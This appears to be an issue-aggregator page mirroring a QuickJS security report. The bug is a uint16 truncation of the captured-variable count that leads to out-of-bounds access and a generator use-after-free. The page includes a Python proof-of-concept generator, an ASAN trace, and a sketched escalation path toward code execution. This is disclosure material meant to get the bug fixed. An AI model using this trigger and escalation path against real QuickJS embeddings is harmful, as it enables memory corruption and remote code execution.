Captured variable count truncation causes out-of-bounds r/w + generator use-after-free
维护者通常 1 天内回复
评估
调研方向
Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.
由索引模型根据 Issue 内容生成。
描述
capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.
- Capturing 65,536 variables makes
var_ref_countwrap to zero. async_func_init()allocates generator frame using truncated count.close_lexical_var()indexessf->var_refs[var_ref_idx]using original index, reads past this frame, and clears that slot if it contains pointer.- When that slot contains a live
JSVarRef *, thenclose_var_ref()decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it. - Reusing the frame with an
ArrayBufferlets the stale generator write two native callback fields
So can be escalated to write pretty easily, and we also have a working RCE exploit for this.
PoC
from pathlib import Path
a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
[f"v{i}" for i in range(32767)])
Path("poc.js").write_text(
f"function* g({a}){{\n"
" { let x=1; if (Math.random()<0) (()=>x); }\n"
f" var {v};\n"
f" if (Math.random()<0) (()=>{{{refs}}});\n"
" yield 1;\n}\n"
"var it=g(); it.next();\n"
)
Test with ASAN qjs poc.js
ASAN Crash
=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
#0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
#1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
#2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
#3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
#4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
#5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
#6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
#7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
#8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
#9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
#10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
#11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
#12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
#13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
#14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
#15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
#16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
#18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)
0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
#0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
#2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
#3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
#4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
#5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
#6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
#7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
#8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
#9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
#10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
#11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
#12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
#13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
#14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
#15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
#16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
#17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
#18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
#19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
#21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==47==ABORTING
- 主要语言
- C
- 星标
- 3.9k
- 派生
- 389
- 平均合并
- 4 天 5 小时
- 30 天内合并 PR
- 16
环境准备
这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
quickjs-ng/quickjs 的其他 Issue
-
JS_SetPropertyInternal2 loses the value when a lazy property on the prototype runs out of memory未关闭
难度 2/5 1-3 小时 新手友好度 78/100
quickjs-ng/quickjs#1852 ·
维护者通常 1 天内回复
-
Object.prototype.propertyIsEnumerable converts `this` before the property key可能已有人在做 @SomSamantray 于 28 天前认领。 未关闭
难度 2/5 1-3 小时 新手友好度 72/100
quickjs-ng/quickjs#1772 ·
维护者通常 1 天内回复
-
难度 3/5 1-2 天 新手友好度 57/100
quickjs-ng/quickjs#1894 ·
维护者通常 1 天内回复
-
难度 4/5 3-5 天 新手友好度 51/100
quickjs-ng/quickjs#1893 ·
维护者通常 1 天内回复
-
难度 5/5 一周以上 新手友好度 20/100
quickjs-ng/quickjs#1891 ·
维护者通常 1 天内回复
查看 quickjs-ng/quickjs 的全部 Issue
相似的 Issue
-
LLVM versions未关闭
难度 2/5 1-3 小时 新手友好度 67/100
维护者通常 1 天内回复
-
bug good first issue help wanted
难度 1/5 1 小时以内 新手友好度 86/100
-
难度 2/5 1-3 小时 新手友好度 68/100
维护者通常 1 天内回复
-
难度 1/5 1 小时以内 新手友好度 88/100
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 72/100
JustAResearcher/gpu-unlock-ada#145 · 1 个 reaction ·
维护者通常 1 天内回复